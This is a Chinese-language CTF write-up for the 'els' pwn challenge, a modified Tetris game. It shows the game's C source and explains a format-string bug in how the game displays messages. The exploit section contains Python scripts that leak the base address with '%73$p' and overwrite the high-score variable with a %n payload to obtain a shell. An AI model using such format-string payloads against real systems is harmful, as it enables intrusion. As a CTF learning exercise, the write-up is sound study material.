CTF-Pwn-[BJDCTF 2nd]els

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文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途!

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题目

Pwn类,[BJDCTF 2nd]els

CTF-Pwn-[BJDCTF 2nd]els_第1张图片

使用ssh远程连接Username: ctf Password: guest

思路

远程连接

ssh -p 27875 [email protected]

CTF-Pwn-[BJDCTF 2nd]els_第2张图片

首先运行一下

CTF-Pwn-[BJDCTF 2nd]els_第3张图片

玩了一下,0分!故意不得分

看看源代码

main.c

/*************************************************
 * name: main
 * 功能:实现俄罗斯方块小游戏
 * 编写人:王廷云
 * 编写日期:2018-3-21
 * 最近更新日期:2019-7-3
 * 魔改人:TaQini 
 * 最近魔改日期:2020-3-13
**************************************************/
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include "data.h"

#define   ROW    21     // 游戏区域的行数
#define   COL    18     // 游戏区域的列数

/* 按键枚举 */
enum key {
   DOWN,                // 上
   LEFT,                // 左
   RIGHT,               // 右
   CHANGE,              // 变化
   STOP,                // 停止
   EXIT,                // 退出
   UNKNOW,              // 未知
};

/***** 函数声明区域 ******/
void initalGameArea(void);                  // 初始化游戏区域
void drawBlock(char bl[NR][NR]);            // 画方块
void cleanBlock(char bl[NR][NR]);           // 清除方块
void turnBlock(char bl[NR][NR]);            // 旋转方块
void gameEnd(void);                         // 结束游戏
void gameStop(void);                        // 暂停游戏
void showGame(void);                        // 显示游戏
void gameSelf(int signo);                   // 游戏自动运行
void checkDeleteLine(void);                 // 检查是否满一行
void checkGameOver(char bl[NR][NR]);        // 检查是否游戏结束
int  checkMove(char bl[NR][NR], int flag);  // 检查方块是否可移动
int  getInput(void);                        // 获取输入

/* 全局变量区域 */
static char gameArea[ROW][COL] = {0};       // 游戏区域数据
static int startX = 7, startY = 6;          // 方块出现的起始位置
static int type = 0;                        // 方块当前类型
static int nextType = 0;                    // 方块的下一种类型
static int diret = 0;                       // 方块的方向
char *state = "\033[32m游戏中...\033[0m";    // 游戏运行状态
static unsigned int level = 0;              // 游戏等级
static unsigned int score = 0;              // 游戏分数
static unsigned int maxScore = 0;           // 游戏最高记录
static FILE *fp = NULL;                     // 用于把记录保存到文件
static FILE *fmsg = NULL;                   // 用于打开留言文件

/*
 * 主函数:控制全局流程
*/
int main(void)
{
    /* 读取文件的最高记录 */
    fp = fopen("./record","r+");
    if (NULL == fp)
    {
        /*
         * 文件不存在则创建并打开 
         * "w"方式打开会自动创建不存在的文
         */
        fp = fopen("./record","w");
    }
    fscanf(fp,"%u",&maxScore);

    if(maxScore > 666666)
    {
        puts("干的漂亮!奖励鹅罗狮高手shell一个!");
        system("/bin/sh");
        exit(0);
    }

    /*
     * 设置闹钟:
     * 当前时间间隔为0.7秒,下一次时间间隔为0.7秒
    */
    struct itimerval  timer = {{0,700000},{0,700000}};
    setitimer(ITIMER_REAL, &timer,NULL);

    /* 初始化游戏区域 */
    initalGameArea();

    /* 设置游戏信号 */
    signal(SIGALRM, gameSelf);

    /* 初始化方块类型 */
    srand(time(NULL));
    type     = rand()%7;
    nextType = rand()%7;

    /* 用户操作 */
    int key;
    while (1)
    {
        key = getInput();
        switch (key)
        {
            case RIGHT : checkMove(bl[type][diret],RIGHT);
                         break;
            case LEFT  : checkMove(bl[type][diret],LEFT);
                         break;
            case DOWN  : checkMove(bl[type][diret],DOWN);
                         break;
            case CHANGE: turnBlock(bl[type][(diret+1)%4]);
                         break;
            case STOP  : gameStop();
                         break;
            case EXIT  : gameEnd();
                         break;
            case UNKNOW: continue;
        }

        /* 画方块 */
        drawBlock(bl[type][diret]);

        /* 显示游戏 */
        showGame();

        /* 清除方块 */
        cleanBlock(bl[type][diret]);
    }

    return 0;
}

/*
 * 函数名:initalGameArea
 * 函数功能:初始化游戏区域
 * 参数:无
 * 返回值:无
*/
void initalGameArea(void)
{
    int i;

    /* 屏幕设置 */
    printf("\033[2J");            // 清屏
    system("stty -icanon");       // 关缓冲
    system("stty -echo");         // 关回显
    fprintf(stdout,"\033[?25l");  // 关闭鼠标显示

    /* 初始化行 */
    for (i = 0; i < COL; i++)
    {
        gameArea[0][i]     = 8;   // 第0行
        gameArea[5][i]     = 8;   // 第5行
        gameArea[ROW-1][i] = 8;   // 最后一行
    }

    /* 初始化列 */
    for (i = 0; i < ROW; i++)
    {
        gameArea[i][0]     = 8;  // 第0列
        gameArea[i][COL-1] = 8;  // 最后一列
    }

    /* 中间一小列 */
    for (i = 1; i < 5; i++)
    {
        gameArea[i][6] = 8;
    }
}


/*
 * 函数名:gameSelf
 * 函数功能:作为信号函数,闹钟时间一到就自动下落
 * 参数:信号
 * 返回值:无
*/
void gameSelf(int signo)
{
    /* 画方块 */
    drawBlock(bl[type][diret]);

    /* 显示游戏 */
    showGame();

    /* 清除方块 */
    cleanBlock(bl[type][diret]);

    /* 如果方块已经到底 */
    if (!checkMove(bl[type][diret],DOWN))
    {
        /* 检查是否游戏结束 */
        checkGameOver(bl[type][diret]);

        /* 保留已经到底的方块 */
        drawBlock(bl[type][diret]);

        /* 显示游戏结果 */
        showGame();

        /* 到达边界后检查是否可消行 */
        checkDeleteLine();

        /* 重新开始下一个方块 */
        startY = 6;
        startX = 7;
        type = nextType;
        nextType = rand()%7;
        diret = 0;
    }
}

/*
 * 函数名:checkDeleteLine
 * 函数功能:检查是否可消行
 * 参数:无
 * 返回值:无
*/
void checkDeleteLine(void)
{
    int i, j;
    int x, y;

    /* 检查当前方块的四行区域内 */
    for (i = 3; i >= 0; i--)
    {
        for (j = 1; j < COL-1; j++)
        {
            /* 检测方块是否满一行 */
            if (gameArea[startY+i][j] == 0)
                break;
            /* 跳过边框区域 */
            else if (gameArea[startY+i][j] == 8)
                break;
        }
        /* 如果满了一行则删除一行 */
        if (j == COL-1)
        {
            /* 删除满了的一行 */
            for (j = 1; j < COL-1; j++)
            {
                gameArea[startY+i][j] = 0;
            }

            /* 分数累加 */
            score += 100;

            /* 记录最高分 */
            if (score > maxScore)
            {
                maxScore = score;
                /* 保存最高分 */
                rewind(fp);
                fprintf(fp,"%u\n",maxScore);
            }

            /* 记录级别 */
            if (score%200 == 0)
            {
                /* 每200分加一级 */
                level++;
            }

            /* 删除后往下移动一行 */
            for (x = 1; x < COL-1; x++)
            {
                for (y = startY+i; y >= 7; y--)
                {
                    gameArea[y][x] = gameArea[y-1][x];
                }
            }

            /* 移动的一行需要检测范围加一行 */
            i++;
        }
    }
}

/*
 * 函数名:checkGameOver
 * 函数功能:检查游戏是否结束
 * 参数:待检查方块数据数据
 * 返回值:无
*/
void checkGameOver(char block[NR][NR])
{
    int i;

    for (i = 0; i < NR; i++)
    {
        /* 方块碰到上方边界则游戏结束 */
        if (block[0][i] != 0 && gameArea[startY-1][startX+i] == 8)
        {
            gameEnd();
        }
    }
}

/*
 * 函数名:turnBlock
 * 函数功能:旋转方块
 * 参数:需要旋转的方块数组数据
 * 返回值:无
*/
void turnBlock(char bl[NR][NR])
{
    int x, y;

    /* 检查是否越界 */
    for (y = 0; y < NR; y++)
    {
        for (x = 0; x < NR; x++)
        {
            /* 只能判断到达了边界 */
            if (bl[y][x] != 0 && gameArea[startY+y][startX+x] != 0)
            {
                return;
            }
        }
    }

    /* 两边都没有越界则旋转方块方向 */
    diret = (diret+1)%4;
}

/*
 * 函数名:gameStop
 * 函数功能:暂停游戏,等待用户再次启动游戏
 * 参数:无
 * 返回值:无
*/
void gameStop(void)
{
    /* 创建一个暂停的是时钟 */
    struct itimerval stop = {0}, older;

    /* 设置新闹钟并存储旧闹钟 */
    setitimer(ITIMER_REAL,&stop,&older);

    /* 配置暂停后的界面 */
    state = "\033[31m暂停中...\033[0m";

    // 为了防止按下暂停键后方块下滑一格 
    // TaQini: 增加if(startY>5) 防止数组上溢
    if(startY>5) startY--;

    drawBlock(bl[type][diret]);
    showGame();
    cleanBlock(bl[type][diret]);

    /* 等待用户按开始键或退出键 */
    int key;
    while (1)
    {
        key = fgetc(stdin);

        /* 空格开始 */
        if (key == ' ')
            break;
        /* q 退出 */
        else if (key == 'q')
            gameEnd();
    }

    /* 恢复闹钟和游戏 */
    setitimer(ITIMER_REAL,&older,NULL);
    state = "\033[32m游戏中...\033[0m";
}

/*
 * 函数名:checkMove
 * 函数功能:检查方块是否可移动,能移则移
 * 参数:1.方块数组数据 2.方向标志位
 * 返回值:可移动返回1,不能移动返回0
*/
int checkMove(char bl[NR][NR], int flag)
{
    int m, n;   // 用于标明可移动方向
    int x, y;   // 用于循环

    switch (flag)
    {
        case RIGHT : n = 0; m = 1;  break;
        case LEFT  : n = 0; m = -1; break;
        case DOWN  : n = 1; m = 0;  break;
    }

    /* 全局检查 */
    for (y = 0; y < NR; y++)
    {
        for (x = 0; x < NR; x++)
        {
            /* 只能判断到达了边界 */
            if (bl[y][x] != 0 && gameArea[startY+y+n][startX+x+m] != 0)
            {
                return 0;
            }
        }
    }

    /* 出来说明没有到达边界 */
    startY += n;
    startX += m;

    return 1;
}

/*
 * 函数名:getInput
 * 函数功能:获取用户输入
 * 参数:无
 * 返回值:无
*/
int getInput(void)
{
    char key;

    key = fgetc(stdin);

    if (key == '\033' && fgetc(stdin) == '[') // 方向键
    {
        switch (fgetc(stdin))
        {
            case 'A': return CHANGE;
            case 'B': return DOWN;
            case 'C': return RIGHT;
            case 'D': return LEFT;
        }
    }
    else if (key == 'q')    // 退出键
    {
        return EXIT;
    }
    else if (key == ' ')    // 空格键-暂停游戏
    {
        return STOP;
    }
    else                    // 其它不相关的键
        return UNKNOW;
}

/*
 * 函数名:drawBlock
 * 函数功能:填充方块数据
 * 参数:方块数组数据
 * 返回值:无
*/
void drawBlock(char block[NR][NR])
{
    int x, y;

    /* 画当前方块 */
    for (y = 0; y < NR; y++)
    {
        for (x = 0; x < NR; x++)
        {
            if (block[y][x] != 0)
            {
                gameArea[startY+y][startX+x] = block[y][x];
            }
        }
    }

    /* 画提示的下一个方块 */
    for (x = 0; x < 2; x++)
    {
        for (y = 0; y < NR; y++)
        {
            if (bl[nextType][0][x][y] != 0)
                gameArea[3+x][2+y] = bl[nextType][0][x][y];
            else
                gameArea[3+x][2+y] = 0;
        }
    }
}

/*
 * 函数名:cleanBlock
 * 函数功能:清除方块数据
 * 参数:方块数组数据
 * 返回值:无
*/
void cleanBlock(char bl[NR][NR])
{
    int x, y;

    for (y = 0; y < NR; y++)
    {
        for (x = 0; x < NR; x++)
        {
            if (bl[y][x] != 0)
            {
                gameArea[startY+y][startX+x] = 0;
            }
        }
    }
}

/*
 * 函数名:showGame
 * 函数功能:显示游戏
 * 参数:无
 * 返回值:无
*/
void showGame(void)
{
    int i, j;

    /* 定位到第一行第一列 */
    fprintf(stdout,"\033[1;1H");
    fflush(stdout);

    /* 打印所有数据 */
    for (i = 0; i < ROW; i++)
    {
        for (j = 0; j < COL; j++)
        {
            if (gameArea[i][j] == 0)       // 空白区域
            {
                fprintf(stdout,"  ");
            }
            else if (gameArea[i][j] == 8)  // 边界区域
            {
                fprintf(stdout,"\033[40m  \033[0m");
            }
            else                           // 方块区域
            {
                fprintf(stdout,"\033[%dm  \033[0m",gameArea[i][j]+40);
            }
        }
        fputc('\n',stdout);
    }

    /* 打印提示信息 */
    fprintf(stdout,"\033[2;3H\033[33m【下一个】\033[0m\n");
    fprintf(stdout,"\033[2;15H当前级别:\033[36m%u\033[0m\n",level);
    fprintf(stdout,"\033[3;15H当前分数:\033[32m%u\033[0m\n",score);
    fprintf(stdout,"\033[4;15H最高记录:\033[35m%u\033[0m\n",maxScore);
    fprintf(stdout,"\033[5;15H当前状态:%s\n",state);
    
    /* 实时显示留言 */
    fmsg = fopen("./msg","r+");
    if (NULL == fmsg) exit(0); 
    char message[0x100] = {0};
    fread(message,0x80,1,fmsg);
    fprintf(stdout,"\033[22;1H留言:");
    fprintf(stdout,message);
}

/*
 * 函数名:gameEnd
 * 函数功能:处理游戏结束的设置
 * 参数:无
 * 返回值:无
*/
void gameEnd(void)
{
    /* 配置游戏结束后的界面 */
    state = "\033[31m游戏结束!!\033[0m";
    drawBlock(bl[type][diret]);
    showGame();

    /* 恢复终端设置 */
    system("stty icanon");          // 恢复缓冲
    system("stty echo");            // 恢复回显
    fprintf(stdout,"\033[?25h");    // 恢复鼠标显示

    /* 尾部处理 */
    fprintf(stdout,"\033[200;1H");  // 定位光标到最后一行
    fclose(fp);                     // 关闭文件
    exit(0);                        // 退出程序
}

浏览了了一下代码,发现在留言的那个有格式化字符串漏洞fprintf(stdout,message)

/* 实时显示留言 */
    fmsg = fopen("./msg","r+");
    if (NULL == fmsg) exit(0); 
    char message[0x100] = {0};
    fread(message,0x80,1,fmsg);
    fprintf(stdout,"\033[22;1H留言:");
    fprintf(stdout,message);

程序的主要流程是玩了666666分就给shell,然后从本地record文件,加载变量最高记录,把留言信息加载到msg中,把分数加载到record

那既然这样我们可以从msg和record入手,修改它不就得了?

查看文件权限
ls -al 

CTF-Pwn-[BJDCTF 2nd]els_第4张图片

发现msg可读可写,record可读,只有运行els程序时可写,那么msg就是突破口了

获取showGame()函数基址

官方的代码

msg.py

#!/usr/bin/python

payload = "%73$p"
f = open('/home/ctf/msg','w')
f.write(payload)
f.close()

exp.py

#!/usr/bin/python
from struct import pack
from sys import argv

start = eval(argv[1])
score = start-0x1180+0x53ac

# hex(666666) = 0xa2c2a
payload = "%20c%8$n" + pack(', score+2)
print hex(score)
f = open('/home/ctf/msg','w')
f.write(payload)
f.close()

上传文件到服务器/tmp目录下

scp -P 27875  /home/tanglei/Desktop/ctf/msg.py [email protected]:/tmp/msg.py
scp -P 27875  /home/tanglei/Desktop/ctf/exp.py [email protected]:/tmp/exp.py

CTF-Pwn-[BJDCTF 2nd]els_第5张图片

先执行msg.py拿到程序基址,再通过exp.py计算maxScore地址并改写

python msg.py

我们开始一把游戏./els,然后空格暂停(这个是大佬告诉我的)

CTF-Pwn-[BJDCTF 2nd]els_第6张图片

这个时候我们再次打开一个shell去远程连接,在/temp下

python exp.py 0x55ee6e866180

这边再敲击空格开始,发现分数上来了

CTF-Pwn-[BJDCTF 2nd]els_第7张图片

然后让游戏介结束,再次打开游戏,获得flag

CTF-Pwn-[BJDCTF 2nd]els_第8张图片

感谢

BUUCTF

以及勤劳的自己

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